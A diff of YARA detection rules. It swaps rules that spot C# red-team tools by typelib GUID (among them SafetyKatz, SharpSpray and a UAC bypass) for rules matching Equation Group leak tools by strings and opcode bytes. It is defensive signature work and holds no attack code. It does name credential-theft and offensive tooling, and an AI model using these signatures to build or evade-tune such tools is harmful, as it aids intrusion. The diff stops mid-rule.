-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "bf0c3d93-cbea-54c7-b950-fd4e5a600d07"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Csharp-Loader"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L958-L972"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff65463c10a7f4940f4dedef42707fe7feacded52d75014245e1961d1c80e845"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c479964c-3122-511d-9410-bc5d890f1489"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2581-L2600"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2ba0f5ada13bd8c71836f26e278c334fdbf2578eac189852befee7a81c07e169"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c7dd49b98f399072c2619758455e8b11c6ee4694bb46b2b423fa89f39b185a97"
+		hash2 = "f6b723ef985dfc23202870f56452581a08ecbce85daf8dc7db4491adaa4f6e8f"
 
 	strings:
-		$typelibguid0lo = "5fd7f9fc-0618-4dde-a6a0-9faefe96c8a1" ascii wide
-		$typelibguid0up = "5FD7F9FC-0618-4DDE-A6A0-9FAEFE96C8A1" ascii wide
+		$s1 = "S-%u-%u" fullword ascii
+		$s2 = "Copyright (C) Microsoft" fullword wide
+		$op1 = { 24 39 65 c6 44 24 3a 6c c6 44 24 3b 65 c6 44 24 }
+		$op2 = { 44 24 4e 41 88 5c 24 4f ff }
+		$op3 = { 44 24 3f 6e c6 44 24 40 45 c6 44 24 41 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <400KB and 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Bantam : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Put_Implant9X : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0ed3f5e5-d954-51e2-b7fb-4c25ca3d9f10"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/gellin/bantam"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L974-L988"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1d0749746dc3a109b592165616f829d01cfb4be8e16137548be8a85c40d6eb7"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "73cafd51-8b0d-59e3-966d-2f5de65953a7"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2602-L2618"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e79a59e400aac544dc1160d5898e3053f88f7d5bc142440177526187650484e7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8fcc98d63504bbacdeba0c1e8df82f7c4182febdf9b08c578d1195b72d7e3d5f"
 
 	strings:
-		$typelibguid0lo = "14c79bda-2ce6-424d-bd49-4f8d68630b7b" ascii wide
-		$typelibguid0up = "14C79BDA-2CE6-424D-BD49-4F8D68630B7B" ascii wide
+		$s1 = "3&3.3<3A3F3K3V3c3m3" fullword ascii
+		$op1 = { c9 c2 08 00 b8 72 1c 00 68 e8 c9 fb ff ff 51 56 }
+		$op2 = { 40 1b c9 23 c8 03 c8 38 5d 14 74 05 6a 03 58 eb }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <20KB and 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharptask : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Promiscdetect_Safe : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2cdd1a15-c70c-5eea-b5a7-8b4a445b9323"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/jnqpblc/SharpTask"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L990-L1004"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8c6fae49accf763101ce0afc6c1ffd07740fbc68105f99059fac4f7ba0c8846c"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d6103861-b332-5c21-8408-76b512012689"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2620-L2635"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4b8c2e9a00af4e6aed7f603dee0439357e3389180fbd2e83d6809e76dc7d0428"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6070d8199061870387bb7796fb8ccccc4d6bafed6718cbc3a02a60c6dc1af847"
 
 	strings:
-		$typelibguid0lo = "13e90a4d-bf7a-4d5a-9979-8b113e3166be" ascii wide
-		$typelibguid0up = "13E90A4D-BF7A-4D5A-9979-8B113E3166BE" ascii wide
+		$s1 = "running on this computer!" fullword ascii
+		$s2 = "- Promiscuous (capture all packets on the network)" fullword ascii
+		$s3 = "Active filter for the adapter:" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsplague : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Packetscan_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "89729c43-ae01-5c1f-af04-06d7a6c4e7fc"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/RITRedteam/WindowsPlague"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1006-L1020"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c8ce2b52a4ebab5b9693d957c43cf1c340160f4bdd05d3cb95af496e7168d83"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e49695d9-15ae-53a6-955c-c68402e241a2"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2637-L2652"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa2106d2aad3e81c864181c851574f76f48cd4fe48bb3327135f2956d271dfde"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9b97cac66d73a9d268a15e47f84b3968b1f7d3d6b68302775d27b99a56fbb75a"
 
 	strings:
-		$typelibguid0lo = "cdf8b024-70c9-413a-ade3-846a43845e99" ascii wide
-		$typelibguid0up = "CDF8B024-70C9-413A-ADE3-846A43845E99" ascii wide
+		$op0 = { e9 ef fe ff ff ff b5 c0 ef ff ff 8d 85 c8 ef ff }
+		$op1 = { c9 c2 04 00 b8 34 26 00 68 e8 40 05 00 00 51 56 }
+		$op2 = { e9 0b ff ff ff 8b 45 10 8d 4d c0 89 58 08 c6 45 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <30KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Misc_Csharp : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setports : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d25fa706-2254-5a82-a961-f57a0daa447c"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/jnqpblc/Misc-CSharp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1022-L1038"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "446cf6773e679b18da31f63b52cdc6918e77ce5496848864c973ca5af60cdb05"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6dc67951-714e-57d9-b34a-0006348b6b10"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2654-L2668"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b2c61f6ca2d59d5e596e7c5c87ed3476d957763daeaf41e6f356bacf26415faf"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "722d3cf03908629bc947c4cca7ce3d6b80590a04616f9df8f05c02de2d482fb2"
 
 	strings:
-		$typelibguid0lo = "d1421ba3-c60b-42a0-98f9-92ba4e653f3d" ascii wide
-		$typelibguid0up = "D1421BA3-C60B-42A0-98F9-92BA4E653F3D" ascii wide
-		$typelibguid1lo = "2afac0dd-f46f-4f95-8a93-dc17b4f9a3a1" ascii wide
-		$typelibguid1up = "2AFAC0DD-F46F-4F95-8A93-DC17B4F9A3A1" ascii wide
+		$s1 = "USAGE: SetPorts <input file> <output file> <version> <port1> [port2] [port3] [port4] [port5]" fullword ascii
+		$s2 = "Valid versions are:  1 = PC 1.2   2 = PC 1.2 (24 hour)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpspray : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Grdo_Filescanner_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e9312c96-be10-5942-a4da-1fe708cc6699"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/jnqpblc/SharpSpray"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1040-L1054"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d2b757ccfaa924764b3c1869908e730022641e5c78919226370e84e84d6546ae"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "79a3cc02-0cda-59e2-8698-29a6cb0a3061"
+		date = "2017-04-15"
+		modified = "2023-01-06"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2670-L2686"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae88d27f41dd4888c445c654c919b3862fe3fc8c92aef816b22b2fb408a49cce"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8d2e43567e1360714c4271b75c21a940f6b26a789aa0fce30c6478ae4ac587e4"
 
 	strings:
-		$typelibguid0lo = "51c6e016-1428-441d-82e9-bb0eb599bbc8" ascii wide
-		$typelibguid0up = "51C6E016-1428-441D-82E9-BB0EB599BBC8" ascii wide
+		$s1 = "system32\\winsrv.dll" fullword wide
+		$s2 = "raw_open CreateFile error" fullword ascii
+		$s3 = "\\dllcache\\" wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <400KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Obfuscator : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Msgks_Mskgu : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "d9988b00-1f10-5421-8ffe-49849a5d5902"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/3xpl01tc0d3r/Obfuscator"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1056-L1070"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e56ec4a13dedbf987bf6f8ee1a8dcce31b82348053d541d836086a9923f3b934"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1692848d-a8db-5c11-9dc4-f1b0c45a78c3"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2688-L2704"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d3a230d29997ab247db2b7a2a0f369206513a98c16f744e2fb1fca6495d5e36b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7b4986aee8f5c4dca255431902907b36408f528f6c0f7d7fa21f079fa0a42e09"
+		hash2 = "ef906b8a8ad9dca7407e0a467b32d7f7cf32814210964be2bfb5b0e6d2ca1998"
 
 	strings:
-		$typelibguid0lo = "8fe5b811-a2cb-417f-af93-6a3cf6650af1" ascii wide
-		$typelibguid0up = "8FE5B811-A2CB-417F-AF93-6A3CF6650AF1" ascii wide
+		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
+		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
+		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Safetykatz : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Ifconfig_Target : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5f6d7432-0bb5-5782-98ec-2c2168f2fc1f"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/SafetyKatz"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1072-L1086"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3de5223d6cbd3af386210531506b270d94a5b89d7e3582e248571e31d3c191d8"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "db8ec377-a9f6-5d75-a123-aa0365d98065"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2706-L2722"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e88f589bed7830a1be81c85c9eb77b7f5c14bef2f0f1b3be6293aa9c5e870278"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1ebfc0ce7139db43ddacf4a9af2cb83a407d3d1221931d359ee40588cfd0d02b"
 
 	strings:
-		$typelibguid0lo = "8347e81b-89fc-42a9-b22c-f59a6a572dec" ascii wide
-		$typelibguid0up = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii wide
+		$s1 = "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\%hs" fullword wide
+		$op1 = { 0f be 37 85 f6 0f 85 4e ff ff ff 45 85 ed 74 21 }
+		$op2 = { 4c 8d 44 24 34 48 8d 57 08 41 8d 49 07 e8 a6 4b }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dropless_Malware : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Diba_Target : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0da3b6d8-2002-590e-a8d5-f6c84acfb083"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Dropless-Malware"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1088-L1102"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "832d175372c322cd488594be558819375fb9f9f100ff0cbb880231c9fc7138f7"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2724-L2739"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3ee7a1284e2abd0282606c22b9112bd1af536e5fd48ef27e8d9216da8e1fb1c5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ffff3526ed0d550108e97284523566392af8523bbddb5f212df12ef61eaad3e6"
 
 	strings:
-		$typelibguid0lo = "23b739f7-2355-491e-a7cd-a8485d39d6d6" ascii wide
-		$typelibguid0up = "23B739F7-2355-491E-A7CD-A8485D39D6D6" ascii wide
+		$op1 = { 41 5a 41 59 41 58 5f 5e 5d 5a 59 5b 58 48 83 c4 }
+		$op2 = { f9 48 03 fa 48 33 c0 8a 01 49 03 c1 49 f7 e0 88 }
+		$op3 = { 01 41 f6 e0 49 03 c1 88 01 48 33 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_UAC_Silentclean : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Dsz_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2dde9632-10c5-5c91-8bd9-2fb80d6f0c49"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/EncodeGroup/UAC-SilentClean"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1104-L1118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2e624d84a6d47c99b28ef41918f1d88cb219a90d35691d0cce8fe10a0a237650"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "febc8654-7dc3-5c8b-a53c-f8d7dc29b14b"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2741-L2755"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3d76131a42aed642a8c54076544488a8d24ec16416469813324541d72e30101b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fbe103fac45abe4e3638055a3cac5e7009166f626cf2d3049fb46f3b53c1057f"
+		hash2 = "ad1dddd11b664b7c3ad6108178a8dade0a6d9795358c4a7cedbe789c62016670"
 
 	strings:
-		$typelibguid0lo = "948152a4-a4a1-4260-a224-204255bfee72" ascii wide
-		$typelibguid0up = "948152A4-A4A1-4260-A224-204255BFEE72" ascii wide
+		$s1 = "%02u:%02u:%02u.%03u-%4u: " fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Desktopgrabber : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Genkey : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "7db07291-d6d4-5527-a879-27f899dbd6fe"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/DesktopGrabber"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1120-L1134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "150a2f89eee5e5e0fa77c42b004e170d8706db69e02293f297376933ec03d1be"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "54e15017-a2f7-5135-af88-b13ea5866c5f"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2757-L2770"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cdaa33645d0ea614891fc0579937e983b8b4f6c4830191518dc8272791dcc8df"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b6f100b21da4f7e3927b03b8b5f0c595703b769d5698c835972ca0c81699ff71"
 
 	strings:
-		$typelibguid0lo = "e6aa0cd5-9537-47a0-8c85-1fbe284a4380" ascii wide
-		$typelibguid0up = "E6AA0CD5-9537-47A0-8C85-1FBE284A4380" ascii wide
+		$x1 = "* PrivateEncrypt -> PublicDecrypt FAILED" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Wsmanager : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Wmi_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b8c330dc-74aa-5a33-8af6-17c9beb8be81"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/guillaC/wsManager"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1136-L1150"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f335250f717cdcc2e9c6022a1fc22a61b4eec59a5c69c9359c2f7658081117b3"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e058d2cc-b963-55bc-9bdd-468f64fe8e6f"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2772-L2785"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "69754b6f26292aa1a457c71d079d934ce75794624c38e9d19c84ceb77a5fb26d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "de08d6c382faaae2b4b41b448b26d82d04a8f25375c712c12013cb0fac3bc704"
 
 	strings:
-		$typelibguid0lo = "9480809e-5472-44f3-b076-dcdf7379e766" ascii wide
-		$typelibguid0up = "9480809E-5472-44F3-B076-DCDF7379E766" ascii wide
+		$x1 = "SELECT ProcessId,Description,ExecutablePath FROM Win32_Process" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <50KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Uglyexe : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Clocksvc : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5833e6c5-f078-5eb5-9519-76710d7da0e1"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/fashionproof/UglyEXe"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1152-L1166"
